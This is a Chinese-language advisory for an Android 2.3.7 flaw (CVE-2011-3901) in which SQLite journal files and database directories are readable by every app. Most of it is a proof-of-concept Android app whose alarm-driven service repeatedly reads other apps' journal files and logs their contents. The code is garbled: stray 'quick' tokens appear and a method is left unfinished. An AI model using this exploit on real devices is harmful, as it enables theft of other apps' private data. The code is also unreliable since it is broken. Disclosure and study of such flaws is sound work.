Bugtraq ID: 53380
CVE ID:CVE-2011-3901
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。
Android SQLite数据库journal文件可被所有应用程序读取:
-所有目录对应用程序数据库目录拥有执行权限,意味着应用程序数据目录可全局访问。
-/data/data/<app package>/databases目录以[rwxrwx–x]权限创建,可导致全局读写。
-数据库目录下创建的journal文件以[-rw-r–r–]权限创建,可被所有app读取。
0
Open Handset Alliance Android 2.3.7
厂商解决方案
Open Handset Alliance Android 4.0.1已经修复此漏洞,建议用户下载使用:
http://www.openhandsetalliance.com/android_overview.html
public class SqlliteJournalLeakActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
final Intent intent = new Intent(this, com.ibm.android.sqllitejournal.SqlliteJournalLeakService.class);
final PendingIntent pending = PendingIntent.getService(this, 0, intent, 0);
final AlarmManager alarm = (AlarmManager) this.getSystemService(Context.ALARM_SERVICE);
alarm.cancel(pending);
long interval = 30;
alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval, pending);
}
}
public class SqlliteJournalLeakService extends Service {
private final String[] DATABASES = {
};
private final IBinder mBinder = new SqlliteJournalLeakServiceBinder();
private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
private FileOutputStream mLog;
@Override
public void onCreate() {
try {quick
mLog = openFileOutput("leak.log", MODE_APPEND);
} catch (FileNotFoundException e) {}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
trackChanges();
return START_STICKY;
}
private void trackChanges()
{
for (String name : DATABASES)
{
name = "/data/data" + name + "-journal";
File f = new File(name);
if (!f.exists())
{
continue;
}
if (!mLastChanges.containsKey(name))
{
mLastChanges.put(name, f.lastModified());
handleChange(f);
}
long m = f.lastModified();
if (mLastChanges.get(name) >= m)
continue;
mLastChanges.put(name, m);
handleChange(f);
}
}
private void handleChange(File file)
{
log(file.getAbsolutePath(), getPrintable(file));
}
quick
private void log(String pkg, String data)
{
String line = pkg + ":\n\n" + data + "\n================================\n";
try
{
mLog.write(line.getBytes());
mLog.flush();
}
catch (IOException e) {}
}
private static String getPrintable(File journal)
{
String printable = "";
int len = 0;
FileReader fr;
try {
fr = new FileReader(journal);
char[] buffer = new char[1024];
while (-1 != (len = fr.read(buffer)))
{
for (int i = 0 ; i < len ; i++)
{
if (filter(buffer[i]))
printable += buffer[i];
}
}
}
private static boolean filter(char ch)
{
switch (ch)
{
case '\n':
case '\r':
case '\t':
return true;
}
if ((ch >= 0x20) && (ch <= 0x80))
{
return true;
}
return false;
}
public class SqlliteJournalLeakServiceBinder extends Binder {
SqlliteJournalLeakService getService() {
return SqlliteJournalLeakService.this;
}
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
}